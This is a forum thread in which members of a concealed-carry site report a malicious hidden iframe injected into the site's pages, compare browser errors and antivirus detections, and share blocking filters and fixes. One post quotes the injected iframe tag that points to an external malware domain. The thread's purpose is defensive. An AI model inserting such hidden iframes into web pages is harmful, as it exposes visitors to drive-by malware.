ATTN: Webmaster/Everyone - Suspicious/Malicious content from this site

This is a discussion on ATTN: Webmaster/Everyone - Suspicious/Malicious content from this site within the Forum News, Feedback, Problems & Comments forums, part of the DefensiveCarry.com Forum Office category; Originally Posted by tokerblue If you are using Internet Explorer, I would permanently block the site. Tools > Internet Options > Security > Restricted Sites ...

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    Quote Originally Posted by tokerblue View Post
    If you are using Internet Explorer, I would permanently block the site.

    Tools > Internet Options > Security > Restricted Sites > Sites

    Then just add the website.
    http://poskeheryrggy.com

    On a related note, if you are using Windows, you should always use a "Limited" account rather than an "Admin" account for pretty much everything. The only reason you would need to login the "Admin" account is to install programs.
    Did this and my computer will not allow the miscreants program to run but neither can I get to the DC forum. Posting this from my IPhone.
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    Quote Originally Posted by Bark'n View Post
    Whoever "hacked" us should be horsewhipped, then drawn and quartered! Don't they know we all have guns?
    lol, they just don't know who their messin with!!
    ETA: same problem
    GUN CONTROL= I WANT TO BE THE ONE IN CONTROL OF THE GUN

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    Anti-virus issues

    Quote Originally Posted by tkruf View Post

    Both our XP and Vista computers run Microsoft Security Essentials and it never caught anything.
    That's interesting. I run Microsoft's Live One Care on XP 3. It detected the problem and when I ran a night long scan of my drives it picked up an additional one. Win32/Zbot.gen!Y and Win32 Fake V.

    Unfortunately, Microsoft is about to stop supporting Live One Care and
    it sounds as if the free version, Essentials, may not be up to the task.

    I also run Threat Fire. It saw NOTHING.

    Curses upon the dirt who did this to us. I hope somehow s/he is caught and punished.

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    Quote Originally Posted by shockwave View Post
    OK, the Tapatalk problem is cleared up. Now I'm getting a new error message:

    Same here. It repeats everytime I refresh or go to a different part of the forum.

    Running Firefox 3.6.4 under Windoze XP SP3

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    On my IPhone I get a message that Safari can't open the page due to a bad address every time I change pages. You click OK and it goes away, but it is annoying.
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    I can't get into the site with IE - Firefox prompts everytime I change something

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    Bumper...I was able to access the site earlier today....but was unable to get to the site starting at 1030am EST from my work computer running Vista. I am able to get here from my iPhone via Safari...but even then, I am getting an error saying the URL is invalid.... There are still problems
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    FWIW-- It is 10:20 AM CENTRAL TIME, Thurs. I'm having no problem that I see, running XP Professional, Chrome, Live One Care and Threat Fire

    Site appears O.K. to me at this moment.

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    Yup, still problems.. still the same error messages. iframe / php injection attack on the site..

    By the way unless someone is just a total idiot (which is possible.. eh) this Wendi person, has more than likely had her credit card info stolen, and is oblivious to a website being setup using her name, home address, etc etc..

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    Yesterday, every time I tried to launch DC on my MAC with Safari it would partially load then snap to my home page. Firefox loaded fine, and my PC loaded fine as well, no pop ups at all. I restarted my MAC and now it seems to be just fine.

    Must be the anit's trying to mess with us...
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    Here is the offending code STILL being served from THIS site. Yes, it really does start with hhttp.


    [iframe width=1 height=1 border=0 frameborder=0 src="hhttp://poskeheryrggy.com/ks"]

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    If you're running ad block plus you can add the filter "hhttp://poskeheryrggy.com/*" and get rid of it for the time being. (Without the quotes)

    This is as of 1PM eastern time on June 24

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    Hey guys, I run usacarry.com and also had this hack. I've fixed it for now. Whoever is a moderator just needs to remove that iframe from the header template in vbulletin. Feel free to contact me if you need any help with this site admins.
    USA Carry - Concealed Carry Information, Reciprocity Maps, News & Articles, Forums, Directory and more!

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    Quote Originally Posted by NC Bullseye View Post
    If you're running ad block plus you can add the filter "hhttp://poskeheryrggy.com/*" and get rid of it for the time being. (Without the quotes)

    This is as of 1PM eastern time on June 24
    +1
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    Quote Originally Posted by san antone rr View Post
    I got the same uasyes as eveyone else with the popup yesterday. After the fix this morning, all was well.
    Now when I log in, firefox gives me a warning that can't open the application beause it does not recognize it.
    Ditto. I get this:
    "Firefox doesn't know how to open this address, because the protocol (hhttp) isn't associated with any program."

    When I click OK, the message disappears, but the screen remains with only the site header showing. If I refresh the page, the message appears again, but this time when I click it away, I can see the forum again.

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    Quote Originally Posted by NC Bullseye View Post
    If you're running ad block plus you can add the filter "hhttp://poskeheryrggy.com/*" and get rid of it for the time being. (Without the quotes)
    This one worked for me!


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